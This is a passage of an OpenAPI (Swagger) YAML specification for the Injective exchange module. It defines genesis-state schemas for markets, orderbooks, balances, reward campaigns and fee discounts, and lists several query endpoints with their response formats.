| description: params defines all the parameters of related to exchange. | |
| spot_markets: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| ticker: | |
| type: string | |
| description: >- | |
| A name of the pair in format AAA/BBB, where AAA is | |
| base asset, BBB is quote | |
| asset. | |
| base_denom: | |
| type: string | |
| title: Coin denom used for the base asset | |
| quote_denom: | |
| type: string | |
| title: Coin used for the quote asset | |
| maker_fee_rate: | |
| type: string | |
| title: >- | |
| maker_fee_rate defines the fee percentage makers pay | |
| when trading | |
| taker_fee_rate: | |
| type: string | |
| title: >- | |
| taker_fee_rate defines the fee percentage takers pay | |
| when trading | |
| relayer_fee_share_rate: | |
| type: string | |
| title: >- | |
| relayer_fee_share_rate defines the percentage of the | |
| transaction fee shared | |
| with the relayer in a derivative market | |
| market_id: | |
| type: string | |
| description: Unique market ID. | |
| status: | |
| title: Status of the market | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Active | |
| - Paused | |
| - Demolished | |
| - Expired | |
| default: Unspecified | |
| min_price_tick_size: | |
| type: string | |
| title: >- | |
| min_price_tick_size defines the minimum tick size | |
| that the price required | |
| for orders in the market | |
| min_quantity_tick_size: | |
| type: string | |
| title: >- | |
| min_quantity_tick_size defines the minimum tick size | |
| of the quantity | |
| required for orders in the market | |
| description: An object describing trade pair of two assets. | |
| title: >- | |
| spot_markets is an array containing the genesis trade | |
| pairs | |
| derivative_markets: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| ticker: | |
| type: string | |
| description: Ticker for the derivative contract. | |
| oracle_base: | |
| type: string | |
| title: Oracle base currency | |
| oracle_quote: | |
| type: string | |
| title: Oracle quote currency | |
| oracle_type: | |
| title: Oracle type | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| oracle_scale_factor: | |
| type: integer | |
| format: int64 | |
| description: Scale factor for oracle prices. | |
| quote_denom: | |
| type: string | |
| title: >- | |
| Address of the quote currency denomination for the | |
| derivative contract | |
| market_id: | |
| type: string | |
| description: Unique market ID. | |
| initial_margin_ratio: | |
| type: string | |
| title: >- | |
| initial_margin_ratio defines the initial margin | |
| ratio of a derivative | |
| market | |
| maintenance_margin_ratio: | |
| type: string | |
| title: >- | |
| maintenance_margin_ratio defines the maintenance | |
| margin ratio of a | |
| derivative market | |
| maker_fee_rate: | |
| type: string | |
| title: >- | |
| maker_fee_rate defines the maker fee rate of a | |
| derivative market | |
| taker_fee_rate: | |
| type: string | |
| title: >- | |
| taker_fee_rate defines the taker fee rate of a | |
| derivative market | |
| relayer_fee_share_rate: | |
| type: string | |
| title: >- | |
| relayer_fee_share_rate defines the percentage of the | |
| transaction fee shared | |
| with the relayer in a derivative market | |
| isPerpetual: | |
| type: boolean | |
| title: >- | |
| true if the market is a perpetual market. false if | |
| the market is an expiry | |
| futures market | |
| status: | |
| title: Status of the market | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Active | |
| - Paused | |
| - Demolished | |
| - Expired | |
| default: Unspecified | |
| min_price_tick_size: | |
| type: string | |
| title: >- | |
| min_price_tick_size defines the minimum tick size | |
| that the price and margin | |
| required for orders in the market | |
| min_quantity_tick_size: | |
| type: string | |
| title: >- | |
| min_quantity_tick_size defines the minimum tick size | |
| of the quantity | |
| required for orders in the market | |
| description: >- | |
| An object describing a derivative market in the | |
| Injective Futures Protocol. | |
| title: >- | |
| derivative_markets is an array containing the genesis | |
| derivative markets | |
| spot_orderbook: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| isBuySide: | |
| type: boolean | |
| orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| order_info: | |
| title: >- | |
| order_info contains the information of the | |
| order | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| title: >- | |
| bytes32 subaccount ID that created the | |
| order | |
| fee_recipient: | |
| type: string | |
| title: >- | |
| address fee_recipient address that will | |
| receive fees for the order | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| order_type: | |
| title: order types | |
| type: string | |
| enum: | |
| - UNSPECIFIED | |
| - BUY | |
| - SELL | |
| - STOP_BUY | |
| - STOP_SELL | |
| - TAKE_BUY | |
| - TAKE_SELL | |
| - BUY_PO | |
| - SELL_PO | |
| - BUY_ATOMIC | |
| - SELL_ATOMIC | |
| default: UNSPECIFIED | |
| fillable: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| trigger_price: | |
| type: string | |
| title: >- | |
| trigger_price is the trigger price used by | |
| stop/take orders | |
| order_hash: | |
| type: string | |
| format: byte | |
| description: A valid Spot limit order with Metadata. | |
| title: Spot Exchange Limit Orderbook | |
| description: >- | |
| spot_orderbook defines the spot exchange limit orderbook | |
| active at genesis. | |
| derivative_orderbook: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| isBuySide: | |
| type: boolean | |
| orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| order_info: | |
| title: >- | |
| order_info contains the information of the | |
| order | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| title: >- | |
| bytes32 subaccount ID that created the | |
| order | |
| fee_recipient: | |
| type: string | |
| title: >- | |
| address fee_recipient address that will | |
| receive fees for the order | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| order_type: | |
| title: order types | |
| type: string | |
| enum: | |
| - UNSPECIFIED | |
| - BUY | |
| - SELL | |
| - STOP_BUY | |
| - STOP_SELL | |
| - TAKE_BUY | |
| - TAKE_SELL | |
| - BUY_PO | |
| - SELL_PO | |
| - BUY_ATOMIC | |
| - SELL_ATOMIC | |
| default: UNSPECIFIED | |
| margin: | |
| type: string | |
| title: margin is the margin used by the limit order | |
| fillable: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| trigger_price: | |
| type: string | |
| title: >- | |
| trigger_price is the trigger price used by | |
| stop/take orders | |
| order_hash: | |
| type: string | |
| format: byte | |
| description: A valid Derivative limit order with Metadata. | |
| title: Derivative Exchange Limit Orderbook | |
| description: >- | |
| derivative_orderbook defines the derivative exchange limit | |
| orderbook active | |
| at genesis. | |
| balances: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| denom: | |
| type: string | |
| deposits: | |
| type: object | |
| properties: | |
| available_balance: | |
| type: string | |
| total_balance: | |
| type: string | |
| title: A subaccount's deposit for a given base currency | |
| description: >- | |
| balances defines the exchange users balances active at | |
| genesis. | |
| positions: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| market_id: | |
| type: string | |
| position: | |
| type: object | |
| properties: | |
| isLong: | |
| type: boolean | |
| quantity: | |
| type: string | |
| entry_price: | |
| type: string | |
| margin: | |
| type: string | |
| cumulative_funding_entry: | |
| type: string | |
| title: >- | |
| positions defines the exchange derivative positions at | |
| genesis | |
| subaccount_trade_nonces: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| subaccount_trade_nonce: | |
| type: object | |
| properties: | |
| nonce: | |
| type: integer | |
| format: int64 | |
| title: >- | |
| subaccount_trade_nonces defines the subaccount trade | |
| nonces for the | |
| subaccounts at genesis | |
| expiry_futures_market_info_state: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| market_info: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| description: market ID. | |
| expiration_timestamp: | |
| type: string | |
| format: int64 | |
| description: >- | |
| expiration_timestamp defines the expiration time | |
| for a time expiry futures | |
| market. | |
| twap_start_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| expiration_twap_start_timestamp defines the | |
| start time of the TWAP | |
| calculation window | |
| expiration_twap_start_price_cumulative: | |
| type: string | |
| title: >- | |
| expiration_twap_start_price_cumulative defines | |
| the cumulative price for the | |
| start of the TWAP window | |
| settlement_price: | |
| type: string | |
| description: >- | |
| settlement_price defines the settlement price | |
| for a time expiry futures | |
| market. | |
| title: >- | |
| expiry_futures_market_info defines the market info for the | |
| expiry futures | |
| markets at genesis | |
| perpetual_market_info: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| description: market ID. | |
| hourly_funding_rate_cap: | |
| type: string | |
| title: >- | |
| hourly_funding_rate_cap defines the maximum absolute | |
| value of the hourly | |
| funding rate | |
| hourly_interest_rate: | |
| type: string | |
| title: >- | |
| hourly_interest_rate defines the hourly interest | |
| rate | |
| next_funding_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| next_funding_timestamp defines the next funding | |
| timestamp in seconds of a | |
| perpetual market | |
| funding_interval: | |
| type: string | |
| format: int64 | |
| description: >- | |
| funding_interval defines the next funding interval | |
| in seconds of a | |
| perpetual market. | |
| title: >- | |
| perpetual_market_info defines the market info for the | |
| perpetual derivative | |
| markets at genesis | |
| perpetual_market_funding_state: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| funding: | |
| type: object | |
| properties: | |
| cumulative_funding: | |
| type: string | |
| description: >- | |
| cumulative_funding defines the cumulative | |
| funding of a perpetual market. | |
| cumulative_price: | |
| type: string | |
| title: >- | |
| cumulative_price defines the cumulative price | |
| for the current hour up to | |
| the last timestamp | |
| last_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| perpetual_market_funding_state defines the funding state | |
| for the perpetual | |
| derivative markets at genesis | |
| derivative_market_settlement_scheduled: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| description: market ID. | |
| settlement_price: | |
| type: string | |
| title: settlement_price defines the settlement price | |
| title: >- | |
| derivative_market_settlement_scheduled defines the | |
| scheduled markets for | |
| settlement at genesis | |
| is_spot_exchange_enabled: | |
| type: boolean | |
| title: sets spot markets as enabled | |
| is_derivatives_exchange_enabled: | |
| type: boolean | |
| title: sets derivative markets as enabled | |
| trading_reward_campaign_info: | |
| title: the current trading reward campaign info | |
| type: object | |
| properties: | |
| campaign_duration_seconds: | |
| type: string | |
| format: int64 | |
| title: number of seconds of the duration of each campaign | |
| quote_denoms: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| the trading fee quote denoms which will be counted for | |
| the rewards | |
| trading_reward_boost_info: | |
| title: the optional boost info for markets | |
| type: object | |
| properties: | |
| boosted_spot_market_ids: | |
| type: array | |
| items: | |
| type: string | |
| spot_market_multipliers: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| maker_points_multiplier: | |
| type: string | |
| taker_points_multiplier: | |
| type: string | |
| boosted_derivative_market_ids: | |
| type: array | |
| items: | |
| type: string | |
| derivative_market_multipliers: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| maker_points_multiplier: | |
| type: string | |
| taker_points_multiplier: | |
| type: string | |
| disqualified_market_ids: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| the marketIDs which are disqualified from being | |
| rewarded | |
| trading_reward_pool_campaign_schedule: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| start_timestamp: | |
| type: string | |
| format: int64 | |
| max_campaign_rewards: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an | |
| amount. | |
| NOTE: The amount field is an Int which implements | |
| the custom method | |
| signatures required by gogoproto. | |
| title: >- | |
| max_campaign_rewards are the maximum reward amounts | |
| to be disbursed at the | |
| end of the campaign | |
| title: the current and upcoming trading reward campaign pools | |
| trading_reward_campaign_account_points: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| account: | |
| type: string | |
| points: | |
| type: string | |
| title: the current trading reward account points | |
| fee_discount_schedule: | |
| type: object | |
| properties: | |
| bucket_count: | |
| type: string | |
| format: uint64 | |
| bucket_duration: | |
| type: string | |
| format: int64 | |
| quote_denoms: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| the trading fee quote denoms which will be counted for | |
| the fee paid | |
| contribution | |
| tier_infos: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| maker_discount_rate: | |
| type: string | |
| taker_discount_rate: | |
| type: string | |
| staked_amount: | |
| type: string | |
| volume: | |
| type: string | |
| title: the fee discount tiers | |
| disqualified_market_ids: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| the marketIDs which are disqualified from contributing | |
| to the fee paid | |
| amount | |
| title: the fee discount schedule | |
| fee_discount_account_tier_ttl: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| account: | |
| type: string | |
| tier_ttl: | |
| type: object | |
| properties: | |
| tier: | |
| type: string | |
| format: uint64 | |
| ttl_timestamp: | |
| type: string | |
| format: int64 | |
| title: the cached fee discount account tiers with TTL | |
| fee_discount_bucket_volume_accounts: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| bucket_start_timestamp: | |
| type: string | |
| format: int64 | |
| account_volume: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| account: | |
| type: string | |
| volume: | |
| type: string | |
| title: the fee discount paid by accounts in all buckets | |
| is_first_fee_cycle_finished: | |
| type: boolean | |
| title: sets the first fee cycle as finished | |
| pending_trading_reward_pool_campaign_schedule: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| start_timestamp: | |
| type: string | |
| format: int64 | |
| max_campaign_rewards: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an | |
| amount. | |
| NOTE: The amount field is an Int which implements | |
| the custom method | |
| signatures required by gogoproto. | |
| title: >- | |
| max_campaign_rewards are the maximum reward amounts | |
| to be disbursed at the | |
| end of the campaign | |
| title: >- | |
| the current and upcoming trading reward campaign pending | |
| pools | |
| pending_trading_reward_campaign_account_points: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| reward_pool_start_timestamp: | |
| type: string | |
| format: int64 | |
| account_points: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| account: | |
| type: string | |
| points: | |
| type: string | |
| title: the pending trading reward account points | |
| rewards_opt_out_addresses: | |
| type: array | |
| items: | |
| type: string | |
| title: the addresses opting out of trading rewards | |
| historical_trade_records: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| latest_trade_records: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| timestamp: | |
| type: string | |
| format: int64 | |
| price: | |
| type: string | |
| quantity: | |
| type: string | |
| binary_options_markets: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| ticker: | |
| type: string | |
| description: Ticker for the derivative contract. | |
| oracle_symbol: | |
| type: string | |
| title: Oracle symbol | |
| oracle_provider: | |
| type: string | |
| title: Oracle Provider | |
| oracle_type: | |
| title: Oracle type | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Band | |
| - PriceFeed | |
| - Coinbase | |
| - Chainlink | |
| - Razor | |
| - Dia | |
| - API3 | |
| - Uma | |
| - Pyth | |
| - BandIBC | |
| - Provider | |
| default: Unspecified | |
| oracle_scale_factor: | |
| type: integer | |
| format: int64 | |
| description: Scale factor for oracle prices. | |
| expiration_timestamp: | |
| type: string | |
| format: int64 | |
| title: expiration timestamp | |
| settlement_timestamp: | |
| type: string | |
| format: int64 | |
| title: expiration timestamp | |
| admin: | |
| type: string | |
| title: admin of the market | |
| quote_denom: | |
| type: string | |
| title: >- | |
| Address of the quote currency denomination for the | |
| binary options contract | |
| market_id: | |
| type: string | |
| description: Unique market ID. | |
| maker_fee_rate: | |
| type: string | |
| title: >- | |
| maker_fee_rate defines the maker fee rate of a | |
| binary options market | |
| taker_fee_rate: | |
| type: string | |
| title: >- | |
| taker_fee_rate defines the taker fee rate of a | |
| derivative market | |
| relayer_fee_share_rate: | |
| type: string | |
| title: >- | |
| relayer_fee_share_rate defines the percentage of the | |
| transaction fee shared | |
| with the relayer in a derivative market | |
| status: | |
| title: Status of the market | |
| type: string | |
| enum: | |
| - Unspecified | |
| - Active | |
| - Paused | |
| - Demolished | |
| - Expired | |
| default: Unspecified | |
| min_price_tick_size: | |
| type: string | |
| title: >- | |
| min_price_tick_size defines the minimum tick size | |
| that the price and margin | |
| required for orders in the market | |
| min_quantity_tick_size: | |
| type: string | |
| title: >- | |
| min_quantity_tick_size defines the minimum tick size | |
| of the quantity | |
| required for orders in the market | |
| settlement_price: | |
| type: string | |
| description: >- | |
| An object describing a binary options market in | |
| Injective Protocol. | |
| title: >- | |
| binary_options_markets is an array containing the genesis | |
| binary options | |
| markets | |
| binary_options_market_ids_scheduled_for_settlement: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| binary_options_markets_scheduled_for_settlement contains | |
| the marketIDs of | |
| binary options markets scheduled for next-block settlement | |
| spot_market_ids_scheduled_to_force_close: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| spot_market_ids_scheduled_to_force_close defines the | |
| scheduled markets for | |
| forced closings at genesis | |
| denom_decimals: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| decimals: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| denom_decimals defines the denom decimals for the | |
| exchange. | |
| conditional_derivative_orderbooks: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| limit_buy_orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| order_info: | |
| title: >- | |
| order_info contains the information of the | |
| order | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| title: >- | |
| bytes32 subaccount ID that created the | |
| order | |
| fee_recipient: | |
| type: string | |
| title: >- | |
| address fee_recipient address that will | |
| receive fees for the order | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| order_type: | |
| title: order types | |
| type: string | |
| enum: | |
| - UNSPECIFIED | |
| - BUY | |
| - SELL | |
| - STOP_BUY | |
| - STOP_SELL | |
| - TAKE_BUY | |
| - TAKE_SELL | |
| - BUY_PO | |
| - SELL_PO | |
| - BUY_ATOMIC | |
| - SELL_ATOMIC | |
| default: UNSPECIFIED | |
| margin: | |
| type: string | |
| title: margin is the margin used by the limit order | |
| fillable: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| trigger_price: | |
| type: string | |
| title: >- | |
| trigger_price is the trigger price used by | |
| stop/take orders | |
| order_hash: | |
| type: string | |
| format: byte | |
| description: A valid Derivative limit order with Metadata. | |
| market_buy_orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| order_info: | |
| title: >- | |
| order_info contains the information of the | |
| order | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| title: >- | |
| bytes32 subaccount ID that created the | |
| order | |
| fee_recipient: | |
| type: string | |
| title: >- | |
| address fee_recipient address that will | |
| receive fees for the order | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| order_type: | |
| title: order types | |
| type: string | |
| enum: | |
| - UNSPECIFIED | |
| - BUY | |
| - SELL | |
| - STOP_BUY | |
| - STOP_SELL | |
| - TAKE_BUY | |
| - TAKE_SELL | |
| - BUY_PO | |
| - SELL_PO | |
| - BUY_ATOMIC | |
| - SELL_ATOMIC | |
| default: UNSPECIFIED | |
| margin: | |
| type: string | |
| margin_hold: | |
| type: string | |
| trigger_price: | |
| type: string | |
| title: >- | |
| trigger_price is the trigger price used by | |
| stop/take orders | |
| order_hash: | |
| type: string | |
| format: byte | |
| description: A valid Derivative market order with Metadata. | |
| limit_sell_orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| order_info: | |
| title: >- | |
| order_info contains the information of the | |
| order | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| title: >- | |
| bytes32 subaccount ID that created the | |
| order | |
| fee_recipient: | |
| type: string | |
| title: >- | |
| address fee_recipient address that will | |
| receive fees for the order | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| order_type: | |
| title: order types | |
| type: string | |
| enum: | |
| - UNSPECIFIED | |
| - BUY | |
| - SELL | |
| - STOP_BUY | |
| - STOP_SELL | |
| - TAKE_BUY | |
| - TAKE_SELL | |
| - BUY_PO | |
| - SELL_PO | |
| - BUY_ATOMIC | |
| - SELL_ATOMIC | |
| default: UNSPECIFIED | |
| margin: | |
| type: string | |
| title: margin is the margin used by the limit order | |
| fillable: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| trigger_price: | |
| type: string | |
| title: >- | |
| trigger_price is the trigger price used by | |
| stop/take orders | |
| order_hash: | |
| type: string | |
| format: byte | |
| description: A valid Derivative limit order with Metadata. | |
| market_sell_orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| order_info: | |
| title: >- | |
| order_info contains the information of the | |
| order | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| title: >- | |
| bytes32 subaccount ID that created the | |
| order | |
| fee_recipient: | |
| type: string | |
| title: >- | |
| address fee_recipient address that will | |
| receive fees for the order | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: quantity of the order | |
| order_type: | |
| title: order types | |
| type: string | |
| enum: | |
| - UNSPECIFIED | |
| - BUY | |
| - SELL | |
| - STOP_BUY | |
| - STOP_SELL | |
| - TAKE_BUY | |
| - TAKE_SELL | |
| - BUY_PO | |
| - SELL_PO | |
| - BUY_ATOMIC | |
| - SELL_ATOMIC | |
| default: UNSPECIFIED | |
| margin: | |
| type: string | |
| margin_hold: | |
| type: string | |
| trigger_price: | |
| type: string | |
| title: >- | |
| trigger_price is the trigger price used by | |
| stop/take orders | |
| order_hash: | |
| type: string | |
| format: byte | |
| description: A valid Derivative market order with Metadata. | |
| title: Orderbook containing limit & market conditional orders | |
| title: >- | |
| conditional_derivative_orderbook contains conditional | |
| orderbooks for all | |
| markets (both lmit and market conditional orders) | |
| market_fee_multipliers: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| fee_multiplier: | |
| type: string | |
| title: >- | |
| market_fee_multipliers contains any non-default atomic | |
| order fee | |
| multipliers | |
| orderbook_sequences: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| sequence: | |
| type: string | |
| format: uint64 | |
| market_id: | |
| type: string | |
| subaccount_volumes: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| market_volumes: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| volume: | |
| type: object | |
| properties: | |
| maker_volume: | |
| type: string | |
| taker_volume: | |
| type: string | |
| market_volumes: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| volume: | |
| type: object | |
| properties: | |
| maker_volume: | |
| type: string | |
| taker_volume: | |
| type: string | |
| description: GenesisState defines the exchange module's genesis state. | |
| description: |- | |
| QueryModuleStateResponse is the response type for the | |
| Query/ExchangeModuleState RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/opted_out_of_rewards_accounts: | |
| get: | |
| summary: Retrieves all accounts opted out of rewards | |
| operationId: OptedOutOfRewardsAccounts | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| accounts: | |
| type: array | |
| items: | |
| type: string | |
| description: >- | |
| QueryRegisteredDMMsResponse is the response type for the | |
| Query/RegisteredDMMs | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/order_metadata/{subaccount_id}: | |
| get: | |
| summary: Retrieves subaccount's order metadata | |
| operationId: SubaccountOrderMetadata | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| metadata: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| metadata: | |
| type: object | |
| properties: | |
| vanilla_limit_order_count: | |
| type: integer | |
| format: int64 | |
| reduce_only_limit_order_count: | |
| type: integer | |
| format: int64 | |
| aggregate_reduce_only_quantity: | |
| type: string | |
| description: >- | |
| AggregateReduceOnlyQuantity is the aggregate | |
| fillable quantity of the | |
| subaccount's reduce-only limit orders in the given | |
| direction. | |
| aggregate_vanilla_quantity: | |
| type: string | |
| description: >- | |
| AggregateVanillaQuantity is the aggregate fillable | |
| quantity of the | |
| subaccount's vanilla limit orders in the given | |
| direction. | |
| vanilla_conditional_order_count: | |
| type: integer | |
| format: int64 | |
| reduce_only_conditional_order_count: | |
| type: integer | |
| format: int64 | |
| market_id: | |
| type: string | |
| isBuy: | |
| type: boolean | |
| description: |- | |
| QuerySubaccountOrderMetadataResponse is the response type for the | |
| Query/SubaccountOrderMetadata RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: subaccount_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/orders/{subaccount_id}: | |
| get: | |
| summary: Retrieves subaccount's orders | |
| operationId: SubaccountOrders | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| buy_orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| order: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| isReduceOnly: | |
| type: boolean | |
| order_hash: | |
| type: string | |
| format: byte | |
| sell_orders: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| order: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| title: price of the order | |
| quantity: | |
| type: string | |
| title: the amount of the quantity remaining fillable | |
| isReduceOnly: | |
| type: boolean | |
| order_hash: | |
| type: string | |
| format: byte | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: subaccount_id | |
| in: path | |
| required: true | |
| type: string | |
| - name: market_id | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/pending_trade_reward_points: | |
| get: | |
| summary: Retrieves the pending account and total trade rewards points | |
| operationId: PendingTradeRewardPoints | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| account_trade_reward_points: | |
| type: array | |
| items: | |
| type: string | |
| description: |- | |
| QueryTradeRewardPointsResponse is the response type for the | |
| Query/TradeRewardPoints RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: accounts | |
| in: query | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| - name: pending_pool_timestamp | |
| in: query | |
| required: false | |
| type: string | |
| format: int64 | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/perpetual_market_funding/{market_id}: | |
| get: | |
| summary: Retrieves perpetual market funding | |
| operationId: PerpetualMarketFunding | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: object | |
| properties: | |
| cumulative_funding: | |
| type: string | |
| description: >- | |
| cumulative_funding defines the cumulative funding of a | |
| perpetual market. | |
| cumulative_price: | |
| type: string | |
| title: >- | |
| cumulative_price defines the cumulative price for the | |
| current hour up to | |
| the last timestamp | |
| last_timestamp: | |
| type: string | |
| format: int64 | |
| description: |- | |
| QueryPerpetualMarketFundingResponse is the response type for the | |
| Query/PerpetualMarketFunding RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/perpetual_market_info/{market_id}: | |
| get: | |
| summary: Retrieves perpetual market info | |
| operationId: PerpetualMarketInfo | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| info: | |
| type: object | |
| properties: | |
| market_id: | |
